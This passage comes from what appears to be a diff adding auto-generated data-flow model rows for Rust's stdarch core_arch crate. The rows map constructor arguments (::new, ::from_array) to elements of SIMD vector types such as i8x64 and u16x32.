"value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[32]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[33]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[34]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[35]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[36]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[37]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[38]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[39]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[40]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[41]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[42]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[43]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[44]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[45]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[46]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[47]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[48]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[49]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[50]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[51]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[52]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[53]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[54]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[55]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[56]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[57]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[58]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[59]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[60]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[61]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[62]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[63]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[32]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[33]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[34]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[35]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[36]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[37]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[38]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[39]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - 